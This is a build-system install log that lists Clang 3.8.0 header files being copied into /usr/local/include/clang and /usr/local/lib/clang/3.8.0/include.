-- Installing: /usr/local/include/clang/Frontend/SerializedDiagnosticReader.h
-- Installing: /usr/local/include/clang/Frontend/SerializedDiagnostics.h
-- Installing: /usr/local/include/clang/Frontend/DependencyOutputOptions.h
-- Installing: /usr/local/include/clang/Frontend/TextDiagnostic.h
-- Installing: /usr/local/include/clang/Frontend/LayoutOverrideSource.h
-- Installing: /usr/local/include/clang/Frontend/FrontendPluginRegistry.h
-- Installing: /usr/local/include/clang/Frontend/FrontendOptions.h
-- Installing: /usr/local/include/clang/Frontend/TextDiagnosticBuffer.h
-- Installing: /usr/local/include/clang/AST
-- Installing: /usr/local/include/clang/AST/RecordLayout.h
-- Installing: /usr/local/include/clang/AST/StmtIterator.h
-- Installing: /usr/local/include/clang/AST/CommentBriefParser.h
-- Installing: /usr/local/include/clang/AST/TemplateBase.h
-- Installing: /usr/local/include/clang/AST/Mangle.h
-- Installing: /usr/local/include/clang/AST/LambdaCapture.h
-- Installing: /usr/local/include/clang/AST/DeclGroup.h
-- Installing: /usr/local/include/clang/AST/DeclFriend.h
-- Installing: /usr/local/include/clang/AST/CommentSema.h
-- Installing: /usr/local/include/clang/AST/DeclBase.h
-- Installing: /usr/local/include/clang/AST/RecursiveASTVisitor.h
-- Installing: /usr/local/include/clang/AST/EvaluatedExprVisitor.h
-- Installing: /usr/local/include/clang/AST/TypeLoc.h
-- Installing: /usr/local/include/clang/AST/DataRecursiveASTVisitor.h
-- Installing: /usr/local/include/clang/AST/StmtVisitor.h
-- Installing: /usr/local/include/clang/AST/DeclVisitor.h
-- Installing: /usr/local/include/clang/AST/NSAPI.h
-- Installing: /usr/local/include/clang/AST/GlobalDecl.h
-- Installing: /usr/local/include/clang/AST/BaseSubobject.h
-- Installing: /usr/local/include/clang/AST/ASTDiagnostic.h
-- Installing: /usr/local/include/clang/AST/StmtOpenMP.h
-- Installing: /usr/local/include/clang/AST/ASTLambda.h
-- Installing: /usr/local/include/clang/AST/Expr.h
-- Installing: /usr/local/include/clang/AST/DeclCXX.h
-- Installing: /usr/local/include/clang/AST/CommentCommandTraits.h
-- Installing: /usr/local/include/clang/AST/ParentMap.h
-- Installing: /usr/local/include/clang/AST/DeclAccessPair.h
-- Installing: /usr/local/include/clang/AST/OpenMPClause.h
-- Installing: /usr/local/include/clang/AST/StmtCXX.h
-- Installing: /usr/local/include/clang/AST/CanonicalType.h
-- Installing: /usr/local/include/clang/AST/ASTConsumer.h
-- Installing: /usr/local/include/clang/AST/UnresolvedSet.h
-- Installing: /usr/local/include/clang/AST/Comment.h
-- Installing: /usr/local/include/clang/AST/ASTTypeTraits.h
-- Installing: /usr/local/include/clang/AST/ASTContext.h
-- Installing: /usr/local/include/clang/AST/CommentVisitor.h
-- Installing: /usr/local/include/clang/AST/ExprCXX.h
-- Installing: /usr/local/include/clang/AST/CommentDiagnostic.h
-- Installing: /usr/local/include/clang/AST/DependentDiagnostic.h
-- Installing: /usr/local/include/clang/AST/ASTImporter.h
-- Installing: /usr/local/include/clang/AST/DeclLookups.h
-- Installing: /usr/local/include/clang/AST/TypeLocVisitor.h
-- Installing: /usr/local/include/clang/AST/ExprOpenMP.h
-- Installing: /usr/local/include/clang/AST/DeclContextInternals.h
-- Installing: /usr/local/include/clang/AST/NestedNameSpecifier.h
-- Installing: /usr/local/include/clang/AST/RawCommentList.h
-- Installing: /usr/local/include/clang/AST/TypeVisitor.h
-- Installing: /usr/local/include/clang/AST/DeclObjC.h
-- Installing: /usr/local/include/clang/AST/DeclarationName.h
-- Installing: /usr/local/include/clang/AST/OperationKinds.h
-- Installing: /usr/local/include/clang/AST/ExprObjC.h
-- Installing: /usr/local/include/clang/AST/PrettyPrinter.h
-- Installing: /usr/local/include/clang/AST/ASTMutationListener.h
-- Installing: /usr/local/include/clang/AST/CommentParser.h
-- Installing: /usr/local/include/clang/AST/VTTBuilder.h
-- Installing: /usr/local/include/clang/AST/Stmt.h
-- Installing: /usr/local/include/clang/AST/Redeclarable.h
-- Installing: /usr/local/include/clang/AST/AttrIterator.h
-- Installing: /usr/local/include/clang/AST/TemplateName.h
-- Installing: /usr/local/include/clang/AST/StmtObjC.h
-- Installing: /usr/local/include/clang/AST/StmtGraphTraits.h
-- Installing: /usr/local/include/clang/AST/ASTVector.h
-- Installing: /usr/local/include/clang/AST/VTableBuilder.h
-- Installing: /usr/local/include/clang/AST/BuiltinTypes.def
-- Installing: /usr/local/include/clang/AST/Type.h
-- Installing: /usr/local/include/clang/AST/CommentLexer.h
-- Installing: /usr/local/include/clang/AST/DeclTemplate.h
-- Installing: /usr/local/include/clang/AST/SelectorLocationsKind.h
-- Installing: /usr/local/include/clang/AST/TypeNodes.def
-- Installing: /usr/local/include/clang/AST/CXXInheritance.h
-- Installing: /usr/local/include/clang/AST/APValue.h
-- Installing: /usr/local/include/clang/AST/ASTUnresolvedSet.h
-- Installing: /usr/local/include/clang/AST/DeclOpenMP.h
-- Installing: /usr/local/include/clang/AST/Attr.h
-- Installing: /usr/local/include/clang/AST/AST.h
-- Installing: /usr/local/include/clang/AST/ASTFwd.h
-- Installing: /usr/local/include/clang/AST/ExternalASTSource.h
-- Installing: /usr/local/include/clang/AST/MangleNumberingContext.h
-- Installing: /usr/local/include/clang/AST/TypeLocNodes.def
-- Installing: /usr/local/include/clang/AST/TypeOrdering.h
-- Installing: /usr/local/include/clang/AST/Decl.h
-- Installing: /usr/local/include/clang/AST/CharUnits.h
-- Installing: /usr/local/include/clang/Edit
-- Installing: /usr/local/include/clang/Edit/FileOffset.h
-- Installing: /usr/local/include/clang/Edit/EditedSource.h
-- Installing: /usr/local/include/clang/Edit/EditsReceiver.h
-- Installing: /usr/local/include/clang/Edit/Commit.h
-- Installing: /usr/local/include/clang/Edit/Rewriters.h
-- Installing: /usr/local/include/clang/Basic
-- Installing: /usr/local/include/clang/Basic/VersionTuple.h
-- Installing: /usr/local/include/clang/Basic/Linkage.h
-- Installing: /usr/local/include/clang/Basic/ExceptionSpecificationType.h
-- Installing: /usr/local/include/clang/Basic/TargetBuiltins.h
-- Installing: /usr/local/include/clang/Basic/AllDiagnostics.h
-- Installing: /usr/local/include/clang/Basic/ExpressionTraits.h
-- Installing: /usr/local/include/clang/Basic/Diagnostic.h
-- Installing: /usr/local/include/clang/Basic/PlistSupport.h
-- Installing: /usr/local/include/clang/Basic/OpenMPKinds.h
-- Installing: /usr/local/include/clang/Basic/TokenKinds.h
-- Installing: /usr/local/include/clang/Basic/ABI.h
-- Installing: /usr/local/include/clang/Basic/LangOptions.def
-- Installing: /usr/local/include/clang/Basic/DiagnosticIDs.h
-- Installing: /usr/local/include/clang/Basic/Sanitizers.h
-- Installing: /usr/local/include/clang/Basic/TokenKinds.def
-- Installing: /usr/local/include/clang/Basic/BuiltinsNVPTX.def
-- Installing: /usr/local/include/clang/Basic/BuiltinsX86.def
-- Installing: /usr/local/include/clang/Basic/BuiltinsSystemZ.def
-- Installing: /usr/local/include/clang/Basic/VirtualFileSystem.h
-- Installing: /usr/local/include/clang/Basic/SourceManagerInternals.h
-- Installing: /usr/local/include/clang/Basic/TemplateKinds.h
-- Installing: /usr/local/include/clang/Basic/DiagnosticOptions.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsHexagon.def
-- Installing: /usr/local/include/clang/Basic/BuiltinsARM.def
-- Installing: /usr/local/include/clang/Basic/Specifiers.h
-- Installing: /usr/local/include/clang/Basic/PrettyStackTrace.h
-- Installing: /usr/local/include/clang/Basic/Visibility.h
-- Installing: /usr/local/include/clang/Basic/CharInfo.h
-- Installing: /usr/local/include/clang/Basic/AddressSpaces.h
-- Installing: /usr/local/include/clang/Basic/SanitizerBlacklist.h
-- Installing: /usr/local/include/clang/Basic/Lambda.h
-- Installing: /usr/local/include/clang/Basic/ObjCRuntime.h
-- Installing: /usr/local/include/clang/Basic/Builtins.h
-- Installing: /usr/local/include/clang/Basic/SourceManager.h
-- Installing: /usr/local/include/clang/Basic/PartialDiagnostic.h
-- Installing: /usr/local/include/clang/Basic/FileSystemStatCache.h
-- Installing: /usr/local/include/clang/Basic/LangOptions.h
-- Installing: /usr/local/include/clang/Basic/OpenMPKinds.def
-- Installing: /usr/local/include/clang/Basic/OperatorKinds.h
-- Installing: /usr/local/include/clang/Basic/LLVM.h
-- Installing: /usr/local/include/clang/Basic/TargetCXXABI.h
-- Installing: /usr/local/include/clang/Basic/SourceLocation.h
-- Installing: /usr/local/include/clang/Basic/OperatorPrecedence.h
-- Installing: /usr/local/include/clang/Basic/Attributes.h
-- Installing: /usr/local/include/clang/Basic/TargetInfo.h
-- Installing: /usr/local/include/clang/Basic/DiagnosticOptions.def
-- Installing: /usr/local/include/clang/Basic/BuiltinsWebAssembly.def
-- Installing: /usr/local/include/clang/Basic/Builtins.def
-- Installing: /usr/local/include/clang/Basic/TargetOptions.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsPPC.def
-- Installing: /usr/local/include/clang/Basic/CommentOptions.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsLe64.def
-- Installing: /usr/local/include/clang/Basic/OpenCLExtensions.def
-- Installing: /usr/local/include/clang/Basic/CapturedStmt.h
-- Installing: /usr/local/include/clang/Basic/Version.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsNEON.def
-- Installing: /usr/local/include/clang/Basic/DiagnosticCategories.h
-- Installing: /usr/local/include/clang/Basic/MacroBuilder.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsAMDGPU.def
-- Installing: /usr/local/include/clang/Basic/OperatorKinds.def
-- Installing: /usr/local/include/clang/Basic/Sanitizers.def
-- Installing: /usr/local/include/clang/Basic/FileSystemOptions.h
-- Installing: /usr/local/include/clang/Basic/IdentifierTable.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsAArch64.def
-- Installing: /usr/local/include/clang/Basic/Module.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsXCore.def
-- Installing: /usr/local/include/clang/Basic/TypeTraits.h
-- Installing: /usr/local/include/clang/Basic/BuiltinsMips.def
-- Installing: /usr/local/include/clang/Basic/AttrKinds.h
-- Installing: /usr/local/include/clang/Basic/FileManager.h
-- Installing: /usr/local/include/clang/Config
-- Installing: /usr/local/include/clang/Format
-- Installing: /usr/local/include/clang/Format/Format.h
-- Installing: /usr/local/include/clang/Index
-- Installing: /usr/local/include/clang/Index/USRGeneration.h
-- Installing: /usr/local/include/clang/Index/CommentToXML.h
-- Installing: /usr/local/include/clang/Parse
-- Installing: /usr/local/include/clang/Parse/ParseDiagnostic.h
-- Installing: /usr/local/include/clang/Parse/ParseAST.h
-- Installing: /usr/local/include/clang/Parse/Parser.h
-- Installing: /usr/local/include/clang/Driver
-- Installing: /usr/local/include/clang/Driver/Types.def
-- Installing: /usr/local/include/clang/Driver/Phases.h
-- Installing: /usr/local/include/clang/Driver/Tool.h
-- Installing: /usr/local/include/clang/Driver/Multilib.h
-- Installing: /usr/local/include/clang/Driver/SanitizerArgs.h
-- Installing: /usr/local/include/clang/Driver/ToolChain.h
-- Installing: /usr/local/include/clang/Driver/Types.h
-- Installing: /usr/local/include/clang/Driver/Driver.h
-- Installing: /usr/local/include/clang/Driver/Compilation.h
-- Installing: /usr/local/include/clang/Driver/Util.h
-- Installing: /usr/local/include/clang/Driver/DriverDiagnostic.h
-- Installing: /usr/local/include/clang/Driver/Action.h
-- Installing: /usr/local/include/clang/Driver/Job.h
-- Installing: /usr/local/include/clang/Driver/Options.h
-- Installing: /usr/local/include/clang/ASTMatchers
-- Installing: /usr/local/include/clang/ASTMatchers/ASTMatchersMacros.h
-- Installing: /usr/local/include/clang/ASTMatchers/ASTMatchFinder.h
-- Installing: /usr/local/include/clang/ASTMatchers/ASTMatchers.h
-- Installing: /usr/local/include/clang/ASTMatchers/ASTMatchersInternal.h
-- Installing: /usr/local/include/clang/ASTMatchers/Dynamic
-- Installing: /usr/local/include/clang/ASTMatchers/Dynamic/Registry.h
-- Installing: /usr/local/include/clang/ASTMatchers/Dynamic/Diagnostics.h
-- Installing: /usr/local/include/clang/ASTMatchers/Dynamic/VariantValue.h
-- Installing: /usr/local/include/clang/ASTMatchers/Dynamic/Parser.h
-- Installing: /usr/local/include/clang/FrontendTool
-- Installing: /usr/local/include/clang/FrontendTool/Utils.h
-- Installing: /usr/local/include/clang/Rewrite
-- Installing: /usr/local/include/clang/Rewrite/Frontend
-- Installing: /usr/local/include/clang/Rewrite/Frontend/ASTConsumers.h
-- Installing: /usr/local/include/clang/Rewrite/Frontend/FixItRewriter.h
-- Installing: /usr/local/include/clang/Rewrite/Frontend/FrontendActions.h
-- Installing: /usr/local/include/clang/Rewrite/Frontend/Rewriters.h
-- Installing: /usr/local/include/clang/Rewrite/Core
-- Installing: /usr/local/include/clang/Rewrite/Core/RewriteBuffer.h
-- Installing: /usr/local/include/clang/Rewrite/Core/RewriteRope.h
-- Installing: /usr/local/include/clang/Rewrite/Core/TokenRewriter.h
-- Installing: /usr/local/include/clang/Rewrite/Core/DeltaTree.h
-- Installing: /usr/local/include/clang/Rewrite/Core/HTMLRewrite.h
-- Installing: /usr/local/include/clang/Rewrite/Core/Rewriter.h
-- Installing: /usr/local/include/clang/StaticAnalyzer
-- Installing: /usr/local/include/clang/StaticAnalyzer/Frontend
-- Installing: /usr/local/include/clang/StaticAnalyzer/Frontend/ModelConsumer.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Frontend/FrontendActions.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Frontend/CheckerRegistration.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Frontend/AnalysisConsumer.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Checkers
-- Installing: /usr/local/include/clang/StaticAnalyzer/Checkers/LocalCheckers.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Checkers/ClangCheckers.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Checkers/ObjCRetainCount.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter/PathDiagnostic.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter/BugReporter.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter/BugReporterVisitor.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter/BugType.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/BugReporter/CommonBugCategories.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/CheckerOptInfo.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/CheckerRegistry.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathDiagnosticConsumers.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/Analyses.def
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/CheckerManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/CheckerHelpers.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/Store.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ProgramState.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/SummaryManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/CheckerContext.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/APSIntType.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ConstraintManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/DynamicTypeInfo.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ProgramStateTrait.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/AnalysisManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/WorkList.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/TaintTag.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ProgramState_Fwd.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/SValBuilder.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/SubEngine.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/Environment.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/StoreRef.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/SVals.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/MemRegion.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/FunctionSummary.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ExplodedGraph.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/ExprEngine.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/DynamicTypeMap.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/BasicValueFactory.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/CallEvent.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/CoreEngine.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/TaintManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/BlockCounter.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/PathSensitive/SymbolManager.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/AnalyzerOptions.h
-- Installing: /usr/local/include/clang/StaticAnalyzer/Core/Checker.h
-- Installing: /usr/local/include/clang/Serialization
-- Installing: /usr/local/include/clang/Serialization/ASTDeserializationListener.h
-- Installing: /usr/local/include/clang/Serialization/ASTBitCodes.h
-- Installing: /usr/local/include/clang/Serialization/ASTReader.h
-- Installing: /usr/local/include/clang/Serialization/ContinuousRangeMap.h
-- Installing: /usr/local/include/clang/Serialization/SerializationDiagnostic.h
-- Installing: /usr/local/include/clang/Serialization/ASTWriter.h
-- Installing: /usr/local/include/clang/Serialization/ModuleManager.h
-- Installing: /usr/local/include/clang/Serialization/Module.h
-- Installing: /usr/local/include/clang/Serialization/GlobalModuleIndex.h
-- Installing: /usr/local/include/clang/Sema
-- Installing: /usr/local/include/clang/Sema/SemaLambda.h
-- Installing: /usr/local/include/clang/Sema/Designator.h
-- Installing: /usr/local/include/clang/Sema/CXXFieldCollector.h
-- Installing: /usr/local/include/clang/Sema/Ownership.h
-- Installing: /usr/local/include/clang/Sema/TypoCorrection.h
-- Installing: /usr/local/include/clang/Sema/ScopeInfo.h
-- Installing: /usr/local/include/clang/Sema/SemaInternal.h
-- Installing: /usr/local/include/clang/Sema/Scope.h
-- Installing: /usr/local/include/clang/Sema/CodeCompleteOptions.h
-- Installing: /usr/local/include/clang/Sema/SemaConsumer.h
-- Installing: /usr/local/include/clang/Sema/CodeCompleteConsumer.h
-- Installing: /usr/local/include/clang/Sema/Sema.h
-- Installing: /usr/local/include/clang/Sema/ObjCMethodList.h
-- Installing: /usr/local/include/clang/Sema/PrettyDeclStackTrace.h
-- Installing: /usr/local/include/clang/Sema/DeclSpec.h
-- Installing: /usr/local/include/clang/Sema/DelayedDiagnostic.h
-- Installing: /usr/local/include/clang/Sema/Lookup.h
-- Installing: /usr/local/include/clang/Sema/AnalysisBasedWarnings.h
-- Installing: /usr/local/include/clang/Sema/Weak.h
-- Installing: /usr/local/include/clang/Sema/ExternalSemaSource.h
-- Installing: /usr/local/include/clang/Sema/TemplateDeduction.h
-- Installing: /usr/local/include/clang/Sema/Template.h
-- Installing: /usr/local/include/clang/Sema/ParsedTemplate.h
-- Installing: /usr/local/include/clang/Sema/AttributeList.h
-- Installing: /usr/local/include/clang/Sema/MultiplexExternalSemaSource.h
-- Installing: /usr/local/include/clang/Sema/SemaDiagnostic.h
-- Installing: /usr/local/include/clang/Sema/IdentifierResolver.h
-- Installing: /usr/local/include/clang/Sema/Initialization.h
-- Installing: /usr/local/include/clang/Sema/Overload.h
-- Installing: /usr/local/include/clang/Sema/LoopHint.h
-- Installing: /usr/local/include/clang/Sema/LocInfoType.h
-- Installing: /usr/local/include/clang/Sema/SemaFixItUtils.h
-- Installing: /usr/local/include/clang/ARCMigrate
-- Installing: /usr/local/include/clang/ARCMigrate/ARCMT.h
-- Installing: /usr/local/include/clang/ARCMigrate/FileRemapper.h
-- Installing: /usr/local/include/clang/ARCMigrate/ARCMTActions.h
-- Installing: /usr/local/include/clang/Lex
-- Installing: /usr/local/include/clang/Lex/PPCallbacks.h
-- Installing: /usr/local/include/clang/Lex/PTHManager.h
-- Installing: /usr/local/include/clang/Lex/DirectoryLookup.h
-- Installing: /usr/local/include/clang/Lex/ModuleLoader.h
-- Installing: /usr/local/include/clang/Lex/MacroInfo.h
-- Installing: /usr/local/include/clang/Lex/PreprocessingRecord.h
-- Installing: /usr/local/include/clang/Lex/TokenLexer.h
-- Installing: /usr/local/include/clang/Lex/ExternalPreprocessorSource.h
-- Installing: /usr/local/include/clang/Lex/PreprocessorLexer.h
-- Installing: /usr/local/include/clang/Lex/Lexer.h
-- Installing: /usr/local/include/clang/Lex/Pragma.h
-- Installing: /usr/local/include/clang/Lex/HeaderMap.h
-- Installing: /usr/local/include/clang/Lex/MultipleIncludeOpt.h
-- Installing: /usr/local/include/clang/Lex/TokenConcatenation.h
-- Installing: /usr/local/include/clang/Lex/ScratchBuffer.h
-- Installing: /usr/local/include/clang/Lex/LiteralSupport.h
-- Installing: /usr/local/include/clang/Lex/Preprocessor.h
-- Installing: /usr/local/include/clang/Lex/PTHLexer.h
-- Installing: /usr/local/include/clang/Lex/HeaderSearch.h
-- Installing: /usr/local/include/clang/Lex/LexDiagnostic.h
-- Installing: /usr/local/include/clang/Lex/PreprocessorOptions.h
-- Installing: /usr/local/include/clang/Lex/Token.h
-- Installing: /usr/local/include/clang/Lex/ModuleMap.h
-- Installing: /usr/local/include/clang/Lex/CodeCompletionHandler.h
-- Installing: /usr/local/include/clang/Lex/HeaderSearchOptions.h
-- Installing: /usr/local/include/clang/Lex/MacroArgs.h
-- Installing: /usr/local/include/clang/Lex/PPConditionalDirectiveRecord.h
-- Installing: /usr/local/include/clang/Tooling
-- Installing: /usr/local/include/clang/Tooling/JSONCompilationDatabase.h
-- Installing: /usr/local/include/clang/Tooling/CompilationDatabasePluginRegistry.h
-- Installing: /usr/local/include/clang/Tooling/Refactoring.h
-- Installing: /usr/local/include/clang/Tooling/Tooling.h
-- Installing: /usr/local/include/clang/Tooling/FileMatchTrie.h
-- Installing: /usr/local/include/clang/Tooling/ArgumentsAdjusters.h
-- Installing: /usr/local/include/clang/Tooling/Core
-- Installing: /usr/local/include/clang/Tooling/Core/Replacement.h
-- Installing: /usr/local/include/clang/Tooling/CompilationDatabase.h
-- Installing: /usr/local/include/clang/Tooling/CommonOptionsParser.h
-- Installing: /usr/local/include/clang/Tooling/ReplacementsYaml.h
-- Installing: /usr/local/include/clang/Tooling/RefactoringCallbacks.h
-- Installing: /usr/local/include/clang-c
-- Installing: /usr/local/include/clang-c/Platform.h
-- Installing: /usr/local/include/clang-c/Index.h
-- Installing: /usr/local/include/clang-c/CXErrorCode.h
-- Installing: /usr/local/include/clang-c/BuildSystem.h
-- Installing: /usr/local/include/clang-c/CXString.h
-- Installing: /usr/local/include/clang-c/Documentation.h
-- Installing: /usr/local/include/clang-c/CXCompilationDatabase.h
-- Installing: /usr/local/include/clang
-- Installing: /usr/local/include/clang/AST
-- Installing: /usr/local/include/clang/AST/CommentCommandInfo.inc
-- Installing: /usr/local/include/clang/AST/CommentNodes.inc
-- Installing: /usr/local/include/clang/AST/Attrs.inc
-- Installing: /usr/local/include/clang/AST/CommentHTMLNamedCharacterReferences.inc
-- Installing: /usr/local/include/clang/AST/AttrDump.inc
-- Installing: /usr/local/include/clang/AST/DeclNodes.inc
-- Installing: /usr/local/include/clang/AST/CommentCommandList.inc
-- Installing: /usr/local/include/clang/AST/CommentHTMLTags.inc
-- Installing: /usr/local/include/clang/AST/AttrVisitor.inc
-- Installing: /usr/local/include/clang/AST/StmtNodes.inc
-- Installing: /usr/local/include/clang/AST/AttrImpl.inc
-- Installing: /usr/local/include/clang/AST/CommentHTMLTagsProperties.inc
-- Installing: /usr/local/include/clang/Basic
-- Installing: /usr/local/include/clang/Basic/AttrList.inc
-- Installing: /usr/local/include/clang/Basic/arm_neon.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticLexKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticASTKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticFrontendKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticCommonKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticSemaKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticIndexName.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticCommentKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticParseKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticAnalysisKinds.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticGroups.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticSerializationKinds.inc
-- Installing: /usr/local/include/clang/Basic/Version.inc
-- Installing: /usr/local/include/clang/Basic/AttrHasAttributeImpl.inc
-- Installing: /usr/local/include/clang/Basic/DiagnosticDriverKinds.inc
-- Installing: /usr/local/include/clang/Config
-- Installing: /usr/local/include/clang/Config/config.h
-- Installing: /usr/local/include/clang/Parse
-- Installing: /usr/local/include/clang/Parse/AttrParserStringSwitches.inc
-- Installing: /usr/local/include/clang/Driver
-- Installing: /usr/local/include/clang/Driver/Options.inc
-- Installing: /usr/local/include/clang/Serialization
-- Installing: /usr/local/include/clang/Serialization/AttrPCHRead.inc
-- Installing: /usr/local/include/clang/Serialization/AttrPCHWrite.inc
-- Installing: /usr/local/include/clang/Sema
-- Installing: /usr/local/include/clang/Sema/AttrSpellingListIndex.inc
-- Installing: /usr/local/include/clang/Sema/AttrParsedAttrKinds.inc
-- Installing: /usr/local/include/clang/Sema/AttrParsedAttrList.inc
-- Installing: /usr/local/include/clang/Sema/AttrTemplateInstantiate.inc
-- Installing: /usr/local/include/clang/Sema/AttrParsedAttrImpl.inc
-- Installing: /usr/local/include/clang-c
-- Installing: /usr/local/include/clang-c/Platform.h
-- Installing: /usr/local/include/clang-c/Index.h
-- Installing: /usr/local/include/clang-c/CXErrorCode.h
-- Installing: /usr/local/include/clang-c/BuildSystem.h
-- Installing: /usr/local/include/clang-c/CXString.h
-- Installing: /usr/local/include/clang-c/Documentation.h
-- Installing: /usr/local/include/clang-c/CXCompilationDatabase.h
-- Installing: /usr/local/lib/clang/3.8.0/include/adxintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/altivec.h
-- Installing: /usr/local/lib/clang/3.8.0/include/ammintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/arm_acle.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx2intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512bwintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512cdintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512erintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512fintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512vlbwintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512vlintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512dqintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avx512vldqintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/avxintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/bmi2intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/bmiintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/cpuid.h
-- Installing: /usr/local/lib/clang/3.8.0/include/cuda_builtin_vars.h
-- Installing: /usr/local/lib/clang/3.8.0/include/emmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/f16cintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/float.h
-- Installing: /usr/local/lib/clang/3.8.0/include/fma4intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/fmaintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/fxsrintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/htmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/htmxlintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/ia32intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/immintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/Intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/inttypes.h
-- Installing: /usr/local/lib/clang/3.8.0/include/iso646.h
-- Installing: /usr/local/lib/clang/3.8.0/include/limits.h
-- Installing: /usr/local/lib/clang/3.8.0/include/lzcntintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/mm3dnow.h
-- Installing: /usr/local/lib/clang/3.8.0/include/mmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/mm_malloc.h
-- Installing: /usr/local/lib/clang/3.8.0/include/module.modulemap
-- Installing: /usr/local/lib/clang/3.8.0/include/nmmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/pmmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/popcntintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/prfchwintrin.h
